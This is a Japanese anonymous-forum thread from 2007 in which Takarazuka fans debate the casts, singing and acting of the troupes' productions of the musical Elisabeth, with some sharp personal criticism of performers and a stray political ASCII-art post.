219 :名無しさん@花束いっぱい。:2007/08/14(火) 21:57:08 ID:xIElxRuz
最初にお花を持ち出したのは>>205でそ。全体の出来はお花の圧勝だと思うけど、歌はね…。
ずんこと並べて語るなんてもってのほか。さっき宙エリザ見てたけど、
「出てって!あなたには〜頼らな〜い〜」の所、音程ひどすぎだし表情ゾンビみたいだったよ。
お花が素晴らしかったのは入魂の演技とヴィジュアルの美しさ。
決して歌唱力ではない。

あと久しぶりに宙エリザ見て思ったのはワタルの歌が
あれでもマシになったんだってことwルキは聞くに耐えない出来だった…

220 :名無しさん@花束いっぱい。:2007/08/14(火) 22:00:36 ID:mAKgICqD
となみ歌うまいと思うけど・・・
なんでそこまでとなみにだけ厳しいのかな?

221 :名無しさん@花束いっぱい。:2007/08/14(火) 22:05:26 ID:btC2Sgy5
>>「出てって!あなたには〜頼らな〜い〜」の所、音程ひどすぎだし表情ゾンビみたいだったよ。
もうミュージカル見ないほうがいいと思う。あなたセンスゼロだわ。

222 :名無しさん@花束いっぱい。:2007/08/14(火) 22:06:53 ID:nuWYrkt4
>221
それは言いすぎ

223 :名無しさん@花束いっぱい。:2007/08/14(火) 22:07:30 ID:BeZHOH9m
>220
となみ自身が、毎回不安定だったこともあるけど
それ以外に
1.最初にとなみありきの今回の雪エリザ上演と言われたから。
2.今まで上演した数だけ、観客の耳が肥えてきた(比較対象が各自のベストになってる)から
3.他の娘役ファンのやっかみ
4.歌下手トートファンが、評判イマイチの責任を全部となみに押しつけてる
等が原因かと・・・

224 :名無しさん@花束いっぱい。:2007/08/14(火) 22:17:16 ID:0uMLVY5Q
となみちゃん完全に役作りの方向性間違ってると思うし、表情のせいで綺麗にも見えないしヒド過ぎる…。

と確かに思ってたけど、楽の映像見たら表情も落ち着いて輝かんばかりの美しさだった。
もうこれもアリかと思えてきたよ。
自分はアサコのシシィが好きだったけど、ビジュアルでうっとりさせてくれるのは、やっぱりとなみちゃんだ。

225 :名無しさん@花束いっぱい。:2007/08/14(火) 22:18:20 ID:btC2Sgy5
いや、エリザで一番好きなシーンだから譲れないよ。
シシィの寝室の場面は、エリザベートがトートを拒絶して、鏡の間に繋がる意志を示す物語の重要な場面だと思うけど。
あそこをとなみみたいに涼しい顔してさらっと歌うのが正解なのか?
宙エリザではあの場面が一番お花の凄みを感じたんがね私は、人それぞれですね。

226 :名無しさん@花束いっぱい。:2007/08/14(火) 22:40:15 ID:+OQTcFx3
やっぱりそれなりに歌える人じゃないとトートはつらい。
歌の出来が気になって情感もへったくれもない。

227 :名無しさん@花束いっぱい。:2007/08/14(火) 22:40:19 ID:xIElxRuz
>>225
あのシーン、私が一番好きなのはみどりシシィ。
高音まで綺麗に伸びて、凛とした表情で。トートとの対峙の仕方も好み。
225さんが最後におっしゃってるように感性は人それぞれなんだから、
自分と違う意見に即センスゼロと言うのは子供っぽすぎやしませんか。

228 :名無しさん@花束いっぱい。:2007/08/14(火) 22:45:14 ID:btC2Sgy5
>>227
宙のお花を批判するのにあのシーンを例として持ってくるがセンスがないって私が思うっていうことね。


229 :名無しさん@花束いっぱい。:2007/08/14(火) 23:04:29 ID:KiFUoBZl
>>223叩かれた原因の1は、
水の相手役に他の娘役希望してた
(っていうか、演目きくまでとなみがくるとは思ってなかった)人が諦め半分で呟いてたんだよな・・・

で、そこまで言われてて、いざ蓋開けたら、
難役っていうの抜いても酷かったってのが・・・


230 :名無しさん@花束いっぱい。:2007/08/14(火) 23:05:06 ID:k0tk0k2M
無理を承知で・・・

この次エリザをやる時は各組選抜メンバーで
日生でロングランとかどうでしょう?


231 :名無しさん@花束いっぱい。:2007/08/14(火) 23:05:54 ID:yKm5hdyY
>>226
同意。シシィもね。
まずは歌が出来てから、と思う。

232 :名無しさん@花束いっぱい。:2007/08/14(火) 23:05:58 ID:febN7Hno
今回、究極の我侭皇后のお話としか見れなかった。
短いミュージカルで皇后の孤独感を出すのは難しいだろうから
やっぱりゾフィーは徹底的に敵にならなくてはならなかった。
ユミコ皇帝の優しさに同情し、ゾフィーの言い分もわかるぞ〜と思ったら
エリザベートに感情移入は出来ない。
子供の教育は任せて欲しいと言いながら、結果はこれかい!と
突っ込み入れたかった。
「私だけに」の場面も自殺を考えるほど、突き落とされたようには見えなかったな。

233 :名無しさん@花束いっぱい。:2007/08/14(火) 23:23:39 ID:KiFUoBZl
母性を感じたのはあさこシシィかなぁ。
しかし結局皆ほったらかしにするわけだが(´・ω・`;)

そういやルドルフを中心に見た皇帝一家って、

初雪:子ルドとうこはお花シシィ似?タールド色気は父親譲り?
星:ぶんルド、ほんのりマザコンぽい空気が父親似か
宙:スマートな一家。どっちに似てもスタイルよさ気。
花:どうみても歌うまな親父似です。本当にありが(ry
月:あの肩幅はどうみても母方の血です。本当に(ry

234 :名無しさん@花束いっぱい。:2007/08/14(火) 23:29:26 ID:iRLRxUcP
ここで言われるほどとなみちゃんの歌も演技も悪くなかったけど、
個人的には、水さんと二〜三作組んでからエリザだったらもっとよかったと思う。
と言いつつ、水さんは今がよかったと思う…
花エリザのオサお披露目&みどり退団っていうのが、バランス良かったからかなぁ?

235 :名無しさん@花束いっぱい。:2007/08/14(火) 23:39:23 ID:3x4b+bnR
お花のエリザベートって人間的にいけすかない感じがして
実は嫌いだったんだ。
本物もそんな女性だったのかもしれないけど
宝塚の舞台でリアルにやる必要ないからな。

236 :名無しさん@花束いっぱい。:2007/08/14(火) 23:49:59 ID:Wbngb7Ph
結局、となみありきじゃなかったということだけはわかった公演だったな。

237 :名無しさん@花束いっぱい。:2007/08/15(水) 00:00:41 ID:UktXm/NU
おいらは水トートに文句は無いだよ。
ただただあすかのエリザでもう一度観たい!
トートは水で頼む。歌もここまできかせられれば自分は十分だし、
それよりあのこだわりのビジュアルや動きは水しかだせない色だって思うから。

238 :名無しさん@花束いっぱい。:2007/08/15(水) 00:23:06 ID:y3+5tVIR
となみ下手た゛ったな〜
あんなに下手なシシィみたくない

239 :名無しさん@花束いっぱい。:2007/08/15(水) 00:26:13 ID:mTPy+dru
>235
あー私もハナちゃんのエリザ好きじゃないんだよな・・・
なんか絶賛されてるから言いづらいんだけどさ。

となみちゃんのエリザはなんか可愛くて好き。
少女時代がさぶいぼ立たずに見れた唯一のエリザだった。

240 :名無しさん@花束いっぱい。:2007/08/15(水) 00:32:35 ID:gtFhLILd
>>となみちゃんのエリザはなんか可愛くて好き。
>>少女時代がさぶいぼ立たずに見れた唯一のエリザだった。

そーだね。雪が初めて生で見るエリザで凄く感動したんだよね。
素敵な思い出になってよかったね。

241 :名無しさん@花束いっぱい。:2007/08/15(水) 00:33:08 ID:lvB8Q9DF
新雪エリザの観劇ブログ等たどってると、観劇日一緒なのに
となみシシィに対する感想がみんなバラバラだったりするよね。
みんな理想のシシィ像を持っているからってのもあるだろうけど
ぶっちゃけ2chや8のアンチの意見に踊らされてる面も
否定できないと思ったよ。ネットって怖いね。

242 :名無しさん@花束いっぱい。:2007/08/15(水) 00:40:30 ID:Z69MU9ni
そうか?
ブログでもとなみに厳しい意見が多かったから、
みんな同じ意見なのかぁて感じたけど。

243 :名無しさん@花束いっぱい。:2007/08/15(水) 00:43:35 ID:5qhPIxbF
>>230
無理を承知でレスをw
激しく見たいけどチケ争奪戦が恐ろしいわw

244 :名無しさん@花束いっぱい。:2007/08/15(水) 00:45:32 ID:/na/Rv3F
>218
ハナちゃんのドレス、2000万って本当にガセなの?
以前テレビ(民放の)で今までで出一番お金の掛かった衣装で
紹介されていたけど・・・。
写真まで出て2000万とも言ってたけど・・・。


245 :244:2007/08/15(水) 00:46:53 ID:/na/Rv3F
間違えました・・・>218でなく217です。

246 :名無しさん@花束いっぱい。:2007/08/15(水) 01:02:14 ID:VT69wFK/
エゴイストに成らざるをえない程の、自由になりたいという欲求・生命力、
それをやりとげる芯の強さみたいなものが、シシィには必要だと思う。

楽前の土曜に一回観ただけだけど、となみさんからはそれが感じられなかった。だから、ただの我儘娘に見えました。

あくまでも、エリザファンの感想ですが…

247 :名無しさん@花束いっぱい。:2007/08/15(水) 01:17:56 ID:OxGYGRaL
はっきり言ってツッコミ所満載な生き方と演出だからこそ、
曲の良さと歌の上手さで観客を引きずりこんで欲しいんだよな。
それが歌の上手さという面倒で達成されないと不満が残る。
私感ですが。

248 :名無しさん@花束いっぱい。:2007/08/15(水) 01:24:43 ID:Y+9wZTHA
しかしとなみの少女時代がよかったっていうが、
一番木登りやサーカスごっこができない人だと思うw
扇で顔隠しも間に合わなくて、写真撮られまくってそうw

ぶっちゃけ踊りはほとんどないから踊れなくても作品的には問題ない。
芯の強さが出せて、歌もそこそこ歌える人がいい。

249 :名無しさん@花束いっぱい。:2007/08/15(水) 01:39:12 ID:uECOFYHL
>244
TVなんて、あれほど信用できないものはないんだけど?w
平気でガセをでっちあげて、さも本当のように流すのがTVクオリティ。

良い宣伝になるから、劇団が積極的に否定しないだけ。
宝石が縫い込まれてるとか
手作業のビーズ刺繍で埋め尽くされてるとかでないと
そこまでなかなか高いドレスにはならない。
かなりの高級レースでも、2000万円もまず掛からない。
しかも、あのレース、洋裁をする人間なら判るはずだけど、そんなに高級じゃない。
1mあたり1万円もしないよ。
もっと凄いレースは、世の中には実際にあるけどね。

当時有名デザイナーへの外注とか勝手な噂が出たけど
それが本当なら、そんなすばらしい宣伝材料を劇団が表に出さないわけがない。

初演の花總シシィの衣装に結構良い生地を使ってたのは否定しないけど
(バートイシュルのブルーとか、喪服の黒のモワレとか。
 あやかのシシィの衣装よりは、かなり生地が良かった)
それでも1着何千万っていうのはない。

花總はスタイルが良くて、実際より衣装がよく見えるってのはあるけどね。


250 :名無しさん@花束いっぱい。:2007/08/15(水) 05:15:15 ID:aFnP8tYr
宙組エリザはDVD映像がひどいんだよなぁ。
ヅカメイクで、あの超アップ連続は、さすがにキツいぞ。お笑いにしか見えん。
アップ=他の人が見えないから、せっかくのカッコイイ演出が入っている場面も
魅力半減。「カメラ、もっと引いて!」という場所多数。

251 :名無しさん@花束いっぱい。:2007/08/15(水) 06:23:55 ID:XupHYNz2
花東京DVD、引きの映像が多くないですか・・・?ちょっとorz
そして退団者挨拶、みどりちゃんだけってw

252 :名無しさん@花束いっぱい。:2007/08/15(水) 08:29:11 ID:Ns2+eO0U
月エリザの最後のダンスの影ソロは誰ですか?

253 :名無しさん@花束いっぱい。:2007/08/15(水) 08:56:58 ID:Y+9wZTHA
>>252
さららん。

254 :名無しさん@花束いっぱい。:2007/08/15(水) 09:40:20 ID:xLfGqRyg
おハナのエリザはエキセントリックな嫌な女だった。
あとあのキンキン声も苦手だった。


255 :名無しさん@花束いっぱい。:2007/08/15(水) 14:40:04 ID:Y1329DFc
エキセントリックでエゴイストで嫌な女、それでこそエリザベート

256 :名無しさん@花束いっぱい。:2007/08/15(水) 15:01:15 ID:B/ggXJd6
>255
なんだけど、パワフルさが一番必要かと>シシィ。
ゲルマン女だし。

花總はか細すぎてパワフルさがなかった。

257 :名無しさん@花束いっぱい。:2007/08/15(水) 16:24:01 ID:LCSKM8h8
月エリザのシシィはパワフルすぎたけどな。見た目が。
あさこ、さえちゃんよりも手やら肩幅やらデカいんだもん…

258 :名無しさん@花束いっぱい。:2007/08/15(水) 17:06:16 ID:Y+9wZTHA
もうフィナーレは・・・w
さえちゃんとあさこ代わった方がいいんじゃないかとオモタw

でも一番好きなのは月のフィナーレだ。

259 :名無しさん@花束いっぱい。:2007/08/15(水) 18:39:34 ID:pvIZoR0F
日常会話が成り立たない時点でとなみはOUT!
雑誌は編集してくれるけどトークショーとかで相手と会話のキャッチボールが
出来てないのバレバレだし、コメントがいちいち長い。
演技や歌に関してのコメントはいっちょまえな事を言う割にはぜんぜん追いついて
いない。口だけ番長状態。
おいらのベストオブ「エリザベート」は宙だよ!。

260 :名無しさん@花束いっぱい。:2007/08/15(水) 21:33:22 ID:gtFhLILd
みどりはビジュアルがキツイのと、
裏声が変な声なんだよね〜。もったいない。
だから私だけにとか最後の肝心ところがビシッと決まらない。

261 :名無しさん@花束いっぱい。:2007/08/15(水) 22:34:08 ID:DsvxBCim
私も絶賛されている花總が全然良いと思わなかった。
綺麗なんだけど、エリザをやる上で肝心な生命力のかけらも無かったし、
宮廷のお人形って感じだった。

逆にビジュアル面では、あらら・・・と思ったみどりやあさこの方が感動した。
完全に好みの問題なんだけどね・・・



262 :名無しさん@花束いっぱい。:2007/08/15(水) 22:43:01 ID:cYo2a5WV
花組エリザベートが一番好きだなー。
儚げで怪しく歌えるオサトート
ビジュアルがはまり、聞け、強いみどりエリザ
優しい持ち味で、愛を感じる歌えるじゅりフランツ
チンピラで憎めず踊れるあさこルキーニ
歌えて、エリザベートにどことなくにているゆみこルドルフ
とにかく強いオーラむんむんハッチさんゾフィー

花だけは捨てられない。

263 :名無しさん@花束いっぱい。:2007/08/15(水) 22:47:26 ID:EpycptDm
>>259
確かに・・となみ、口だけでは偉そうな発言かましてたな。
私なりの新しい解釈で・・とか、私の娘役人生を賭けて・・とか。
あまりに自信満々で偉そうな発言するから、
どんだけ素晴らしいシシィになるかと期待してみたら…これだもんな。
大口叩くビッグマウスぶりに萎えたよ。
となみの評価はどん底まで地に墜ちたな。

264 :名無しさん@花束いっぱい。:2007/08/15(水) 22:51:04 ID:U2QYOg+M
>>250
でも、7年たった今でも、グッズ売り上げランキング(新品)で
ずーっと上位に入っているよね〜。

265 :名無しさん@花束いっぱい。:2007/08/15(水) 23:07:24 ID:Z69MU9ni
みどりの裏声はすかしっ屁みたいで嫌だ。

266 :名無しさん@花束いっぱい。:2007/08/15(水) 23:09:07 ID:xyPQ7XgG
>262
ナカーマ!

267 :名無しさん@花束いっぱい。:2007/08/15(水) 23:12:23 ID:LvQVB4JK
あやかとみどりのシシィは人格がタフで
フランツと円満な家庭つくりそうで、違うと思った。


268 :名無しさん@花束いっぱい。:2007/08/15(水) 23:32:25 ID:Bnre4slD
ハッチさんゾフィーは個人的には5人の中で一番苦手だ

269 :名無しさん@花束いっぱい。:2007/08/16(木) 00:28:55 ID:jOQOOnzX
花エリザは演出が・・・
それさえなんとかなってれば、多分一番好きって言い切れたw

>>263となみに関しては「ここで言われてるほど酷くなかった」ってよく言われてたが、
あの発言を受けた後じゃね・・・

270 :名無しさん@花束いっぱい。:2007/08/16(木) 02:33:00 ID:dlf9o4sW
となみの発言って叩かれるほどのものなの?

271 :名無しさん@花束いっぱい。:2007/08/16(木) 04:08:09 ID:yiBOj1D+
花組の演出、例えばどこがそんなにひどいの?
(エリザ初見が花組だった私にはワカラン)

272 :名無しさん@花束いっぱい。:2007/08/16(木) 04:52:18 ID:T5vX0ZFy
ミズトートが恋に落ちる瞬間の
二度見が溜まらなくツボに嵌った

なんだこの人間くさいトートは・・・w

となみは綺麗だし、他のエリザと比べて五十歩百歩だと
私は思ったな
歌は不安定だけど歌えてないこともない

273 :名無しさん@花束いっぱい。:2007/08/16(木) 04:56:44 ID:yo7bONEw
>>270
自分に気合いを入れるための発言を偉そうとか受け取るババアだらけ
なんだからさ、ここは。

274 :名無しさん@花束いっぱい。:2007/08/16(木) 06:41:48 ID:guOQrF0p
ミズトートは最初の恋に落ちる瞬間だけ人間くさくなり
その瞬間以外はず〜〜と人外
魔物みたいなミズトートであり続ける。
そして死は逃げ場ではないで劇的に変貌し
ついに人間と同じ恋する感情を持つに至るのである。


275 :名無しさん@花束いっぱい。:2007/08/16(木) 09:34:02 ID:IsQO+REA
>>264
初演雪と星を踏まえての演出や、ずんこのトート像など、初期の宝塚エリザベート
の完成形として評価が高いからね。
それだけに、もっと良い映像で残してくれれば良かったのにと思う。

276 :名無しさん@花束いっぱい。:2007/08/16(木) 10:49:26 ID:88+wl3+Y
妖怪系トートはオサの専売特許と思っていたが
ドクトルゼーブルガーの場面の水はまんま妖怪だった。
顔芸がすごい

277 :名無しさん@花束いっぱい。:2007/08/16(木) 14:29:20 ID:KsEjuLn9
水トート評判良かったみたいなので楽しみにDVD観ました。
感想は気持ちわるかったです。

それに、いやに感情むき出しで、人外に見えず、わがままに人間にしか見えない。
エロくみせようと必要以上にくねくね動く手も無駄な動きが多すぎてうるさく感じるし。
もうすこし体温のない人外の雰囲気がほしかった。
歌はそれほど気になりませんでした。
そして、一人で好きになったり怒ったりして、一人で感じてる(一人いきしてる)トート)って
感じかな。

周囲のキャストにすごく助けられてる雪エリザベート(再演)。


278 :名無しさん@花束いっぱい。:2007/08/16(木) 15:21:24 ID:wBNsN2LK
体温のある箇所とない箇所のあの創りかたがたまらんのにな〜水くんトートよかったで。


279 :名無しさん@花束いっぱい。:2007/08/16(木) 15:25:00 ID:KsEjuLn9
ずっと体温ある人トートにしか見えなかった。残念。
黙ってるとただ怒ってるの?としか見えないし。
ここの感想見て期待しすぎたのが駄目だったのかも。
皆さんのように見えるフィルター通して見れたらいいのだけど。
あのトートで満足できる方が羨ましいです。


280 :名無しさん@花束いっぱい。:2007/08/16(木) 15:46:49 ID:8gmqZFbC
>279サマ
人それぞれだから。
せっかくDVDを購入したのにお気に召さなかったようで
お金がもったいなかったですね。

281 :名無しさん@花束いっぱい。:2007/08/16(木) 15:57:17 ID:YSm9r/lu
>>279
悪意無さそうだからいうけど、
嫌味っぽいこと書くのはやめたほうが良いよ。
好みなんて本当に人それぞれだから。

282 :名無しさん@花束いっぱい。:2007/08/16(木) 16:09:52 ID:KsEjuLn9
嫌味じゃないんだけな。
素直な感想です。

>270 確かに高い無駄遣いになったと思います。でも買わないとわからないし。
一応全組そろえてるし。

好みは人それぞれは、そう思います。
私にはあわなかった。でも、ここの感想があまりに良いものだったから・・
どなたのファンが多いかにもよるってのがよくわかりました。
失礼しました。

283 :名無しさん@花束いっぱい。:2007/08/16(木) 16:35:50 ID:8gmqZFbC
>どなたのファンが多いかにもよるってのがよくわかりました。

嫌味そのものだね。

お買い上げ有難うございました。

284 :名無しさん@花束いっぱい。:2007/08/16(木) 16:46:47 ID:SxU97kN0
図星か

285 :名無しさん@花束いっぱい。:2007/08/16(木) 17:32:25 ID:SiiE/dpf
277って実生活でも言わなくていい一言を言って
損してるタイプじゃないかな。

「評判良いけど、自分は水トートの良さがわからない
好みじゃなかった」で終わりにすれば良いのに

「あのトートで満足出来る方が羨ましいです」
って物凄い嫌な言い方だよ。


286 :名無しさん@花束いっぱい。:2007/08/16(木) 17:35:26 ID:hqZXkC/u
今回の雪の評価を読むと、まんま「愛と死の輪舞」になってない?

凍った心とかす=冷徹な心ではなくなる
俺の全てが崩れる=黄泉の帝王じゃない
蒼い血を流す傷口は=人間っぽい
お前の愛を勝ち得るまで 追いかけよう=ストーカーっぽい

強引な解釈な感じもあるとは思うけどね。
イケコが最初に描いた「エリザベート〜愛と死の輪舞〜」は
今回の雪公演が一番近いじゃない?
髪の色、緑なのもイケコの希望だったみたいだし。

287 :名無しさん@花束いっぱい。:2007/08/16(木) 17:55:05 ID:GTm6OTyD
>>279
評判がいいってあなた…。どこで?
ずっと読んでれば、どんなに贔屓目にみてもせいぜい五分五分までよ。
参考にするならもっとちゃんと読めばいいのに。
無駄遣い…。

288 :名無しさん@花束いっぱい。:2007/08/16(木) 17:57:16 ID:I1FQRWFZ
ああ、そう。
なんだか知らんが、愛と死の輪舞の歌詞を再認識させられたつーか
ピンときたっつーか、そんな感覚があったな。

289 :sage:2007/08/16(木) 18:55:55 ID:W8zof0ed
現宙でエリザが近々あるとか聞いたんですが、まさかホント!

290 :名無しさん@花束いっぱい。:2007/08/16(木) 18:57:09 ID:j3rfBDuj
今回のエリザはイケコが書いたエリザベートの小説をそのまま現実に
表したみたいでおもしろかったよ。昔読んでたコバルト文庫みたいな感じ。

291 :名無しさん@花束いっぱい。:2007/08/16(木) 19:58:16 ID:h20/2m0h
じゃあ次は森川久美バージョンのエリザベートを!

292 :名無しさん@花束いっぱい。:2007/08/16(木) 23:05:54 ID:s3EijmkL
初演から観てますが、どのエリザにもそれぞれ良い所があるので好きです。
冷静で何でもお見通しな一路トート、色っぽく不気味なまりこトート、
クールに見えて実は繊細なずんこトート、俺様系の自信満々なオサトート、
優しく見守るサエコトート、感情むきだしの水トート・・・。
一つの役でも演じる方によって違うので面白いです。
個人的にはトートは血が通ってないような感じが
好みですが・・黄泉の帝王(死)なので。

勝手な感想を長々とすみません。

293 :名無しさん@花束いっぱい。:2007/08/16(木) 23:47:13 ID:6ywLIZIp
黄泉の帝王って最も擬人化された概念だから
血の通わないトートを望むにしては
言ってることが矛盾してるような気もしますが。
黒天使を従え威厳をもってエリザベートに迫る帝王然としたトートは
ヅカの代表的な男役像の延長線上でしょう。
トートがエリザベートに恋する以上無機質なトートってありえないと考えますが。

294 :名無しさん@花束いっぱい。:2007/08/17(金) 00:29:30 ID:B71AEADI
ウィーン版や東宝版との違いだよね。
宝塚だからトートとシシィの『愛と死の輪舞』なわけで。
シシィと出会って、黄泉の帝王としてタブーである愛に目覚めてしまう。
この時点からある意味人間的なトートというのが
イケコが描いた宝塚版なんじゃないかな。

295 :名無しさん@花束いっぱい。:2007/08/17(金) 00:33:00 ID:veiw8uQy
ウィーン版もかなり血がたぎってたような・・・

296 :名無しさん@花束いっぱい。:2007/08/17(金) 00:33:56 ID:BFI5VQXw
293そのとおり・・・だから今回の水トートの仕上げ方はすんごーく忠実。
まさに「愛と死の輪舞」小池先生の脳内トート。
人間臭い感情と人間じゃないからこそ理性やプライド関係なく突き進み
一人の女をおいかけられる。




297 :名無しさん@花束いっぱい。:2007/08/17(金) 00:35:46 ID:gz+kJASo
音月のルキーニ、いいね〜。もう次のトップきまり。

298 :名無しさん@花束いっぱい。:2007/08/17(金) 00:48:29 ID:rFLIjRZ2
いいんだよ!
死神だろうがなんだろうが!
人間好きになっちゃうやつなんだから
あいつは熱い男なんだYO!

299 :名無しさん@花束いっぱい。:2007/08/17(金) 00:56:43 ID:8e6djKta
あんなにドラマチックなメロディと歌詞で
歌い上げながら、無機質・クールを貫くなんて無理、無理!
フランツ以外は熱くていいでしょ。

300 :名無しさん@花束いっぱい。:2007/08/17(金) 01:12:22 ID:64+vXS6x
水トートの感情むき出しの顔芸を
・人間的と感じる人→人間臭いトート
・妖怪的と感じる人→人外のトート
…と評価が割れるんジャマイカと思えてきた。

私は、水トートは前にもどなたか書いてましたが
過去の閣下に比べて「幼い」印象。思春期の少年みたいというか…
でもいろんなトートがいていいと思う。今回も楽しかった。

301 :名無しさん@花束いっぱい。:2007/08/17(金) 02:23:23 ID:gBYHI8W/
となみ、劇場で見ても酷いと思ったが、
修正入れてこれでは…。
力みすぎ、声が上ずってる、音程がぶれまくり。

http://www.youtube.com/watch?v=m8rZ866-87A&mode=related&search=

302 :名無しさん@花束いっぱい。:2007/08/17(金) 02:27:25 ID:gBYHI8W/
これも酷い…。

http://www.youtube.com/watch?v=z32tbShvTOQ&mode=related&search=

303 :名無しさん@花束いっぱい。:2007/08/17(金) 02:29:47 ID:02yC67K1
敢えてリンクまで貼っちゃうあたりに
アンチ臭を感じる・・・

304 :名無しさん@花束いっぱい。:2007/08/17(金) 02:40:27 ID:ooyRv8UL
>>301
間違って、ゆみこの歌に聴き入ってしまったw

となみちゃんは歴代で、そんな歌下手なシシィってわけでもなかったよ。
やっぱ綺麗かったし。
問題は演技だけど、ありゃ解釈の仕方を間違ったんじゃないか、と。
でも、あれで舞台乗ってるんだし、イケコ的にはオケーだったのかなあ。
歌いきったときの「どうよ!あたしすごいでしょ!?」って風情だけは、やめてもらいたかった。

305 :名無しさん@花束いっぱい。:2007/08/17(金) 03:30:58 ID:gz+kJASo
となみ、私だけにの前の泣く演技が、手順をこなしてるようにしか見えなくて
余計しらけた。
演技が下手だけならまだしも、歌までひどいって・・
何であんなに滑舌悪いんだよ

306 :名無しさん@花束いっぱい。:2007/08/17(金) 04:04:33 ID:Xdo5KBy9
となみが下手すぎて、水が上手に見える

307 :名無しさん@花束いっぱい。:2007/08/17(金) 06:09:21 ID:hKR7I2rT
となみが段取りくさい芝居であることに同意。
型芝居っていうか、だからしらけた。
芝居に入り込めないからちっとも共感できなかった。
水トートもはったり芸が鼻についてイライラしたし

水、トナミ、二人とも何か勘違いした役造りで好きになれなかったわ。

308 :名無しさん@花束いっぱい。:2007/08/17(金) 07:34:44 ID:LTWXdQ8O
型芝居だからか・・・植田作品だとはまる気がする・・・<となみ
何気にここ最近の植田作品は花組でやったやつ以外は出てたりするし。

ハリーが前に「芝居は空気」って言ってたが、
やっぱり周りの芝居の空気読めてないんじゃないか?

309 :名無しさん@花束いっぱい。:2007/08/17(金) 07:36:12 ID:1dlVSqfB
勘違いした役作りに、はったり芸ってか?
便乗して煽ったつもりだろうけど、浅いっすね(笑)。


310 :名無しさん@花束いっぱい。:2007/08/17(金) 10:44:10 ID:EVlle0ht
>(笑)
vvこおばしいなー(・∀・)

311 :名無しさん@花束いっぱい。:2007/08/17(金) 10:50:05 ID:iZ2aQPKL
となみちゃん、歌自体は歴代シシィの中でも特別下手って感じない。
が、大げさすぎっていうか力み過ぎって言うか、歌も芝居も怖い。

水はもちろん上手くないけど、これまでの水を予想していくと案外聞けるね。
アサコもそうだったけどエリザベートってどんな歌唱練習させるんだろう。

312 :名無しさん@花束いっぱい。:2007/08/17(金) 11:00:07 ID:YvkcomQX
やっとDVD観た。
東京でしか観なかったから、微妙に演出が変わってるところとか
トートがナイフをどこから出してるのか、とか分かって面白かった。
トートってもんのすごーくピュアなんだなーと思った。

花組さんの特典ディスクはなんか妙に皆浮き足立っちゃってるような
感じがして、私にはいまいちでした。

313 :名無しさん@花束いっぱい。:2007/08/17(金) 11:27:36 ID:31iX4W0D
煽りなの?
同じよ〜に思ったから、正直な感想だと思ったw

初日直後の頃は丁寧にやってたから気にならなかったんだけど
東京行ってから、ファンが誉めまくってるのか勘違いな上っ面だけ大仰な芝居。
となみの型芝居とお似合いではあったけど、見てて白けた。


314 :名無しさん@花束いっぱい。:2007/08/17(金) 12:40:34 ID:veiw8uQy
感性の問題だね。

315 :名無しさん@花束いっぱい。:2007/08/17(金) 13:05:05 ID:cQDZHMRK
うん、感性人それぞれかも。
私は東宝2回しか観劇出来なかったけど、今回の雪エリザ良いと思ったクチ。
DVDは、今日夕方やっと届くんだあ。
楽しみだよ〜。

316 :名無しさん@花束いっぱい。:2007/08/17(金) 13:25:54 ID:hKR7I2rT
そりゃ感性人それぞれだから、あんなのでも気に入る人はいるだろう。
よかったね。
私は全く認めがたい雪再演でした。
紙芝居みたいにわかりやすいのがいい人には受け入れられやすいと思うけどね。

317 :名無しさん@花束いっぱい。:2007/08/17(金) 13:28:23 ID:+ZBe4cCu
トートはやっぱり歌が上手い生徒で演ってほしい
一路真輝 姿月あさと 春野寿美礼 他は下手すぎ

エリザベートは花總まりのしか感動できない

フランツは低音がしっかり歌える高嶺ふぶき意外駄目
歌える彩吹真央でも最後まで青年っぽくて駄目

ルキー二は轟悠に勝さるる生徒はいないが、それなりに皆な無難では?

やはり初演雪組が作品としても一番素晴らしい
再演のたびに作品の価値を落としている



318 :名無しさん@花束いっぱい。:2007/08/17(金) 13:34:29 ID:jeNVGGHm
で、316さんはどこが気に入ってるの?
釣りかもしれんが、自分の好みを隠して悪口言ってるだけに見える。
ちなみに私は初演雪と、東宝で500回公演(?)やった時の演出が双璧だったけど
今回の雪も3回目位からかなり気に入ってDVD買いました。


319 :名無しさん@花束いっぱい。:2007/08/17(金) 13:42:52 ID:lnVLvZVZ
今全組見たら初演雪組トートが一番駄目(つまんねえ教科書トート)
シシィが雪花が一番良い、ルキーニはトドが一番良い。
フランツはどれでもいい(良いではない)。
ルドルフはターが良い、子ルドルフはトウコがいい。

つうことから初演がいいと感じるのは主役以外が役が嵌って
るからだよな。


320 :名無しさん@花束いっぱい。:2007/08/17(金) 13:49:14 ID:uP4NHhDE
水(観ず)嫌いなだけだよ。

321 :名無しさん@花束いっぱい。:2007/08/17(金) 14:05:23 ID:Fnu4ksgP
結局公演中(もう終わったけど)の組が見張ってるから、
ダメという意見には反論しまくりになるね。

322 :名無しさん@花束いっぱい。:2007/08/17(金) 14:31:20 ID:BqNqdeOw
水のトートはあーいうのもアリかとは思った。好きじゃないけどw
どうしても好きになれないのはとなみちゃんのシシィの方かな。
なぜにあのようにわざとらしい演技するんだろう。
入魂です、わたしがんばってますって、本人は陶酔してるだけに見えたよ?
ファンなら、となみちゃんが頑張ってるですむのかもしれないけど
押し付けがましいわざとらしい演技に思いっきり引いたし、萎えた。
いちいち大げさすぎるよ(><)

今まで全組みてきたけど(東宝のも全バージョンみてるし)
一番感動したのは初演の雪。
ジブンが中学生だったからかもしれないけどすごいものみたと思った。
でも今、DVDでみても一番感動するのはやっぱり初演の雪。
(けど昇天でシシィが膝まづいているのは、最初はなんとも思わなかったが
今となっては、あれはどうしてもヘンな気がする)
宙のも好き。花ちゃんのシシィが一番しっくりするから。
花ちゃんのシシィには対極だけど、みろりシシィも割と好き。
けどみろりちゃんは顔でかくて肩幅狭いから見た目が悪いのが惜しい。
トートは一番すきなのはオサトート。


323 :名無しさん@花束いっぱい。:2007/08/17(金) 14:35:50 ID:cHq+RJP/
       ______
      /  \    /\   参院選は民主党に投票して
    /  し (>)  (<)\  自民党にお灸を据えたんだ・・・
    | ∪    (__人__)  J | ________
     \  u   `⌒´   / | |          |
    ノ           \ | |          | 
         ____
      /  \    ─\   
    /  し (>)  (●)\  チラッ
    | ∪    (__人__)  J | ________
     \  u   `⌒´   / | |          |

         ____
      /::::::─三三─\
    /:::::::: ( ○)三(○)\   
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     \:::::::::   |r┬-|   ,/ .| |  小沢氏がテロ対策法に難色・日米協調関係崩壊
    ノ::::::::::::  `ー'´   \ | | 日経平均大暴落、急激な円高不況・大量失業時代へ突入
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324 :名無しさん@花束いっぱい。:2007/08/17(金) 14:43:54 ID:0YtzrB3i

>>319さんの好みに共感する点が多いな。

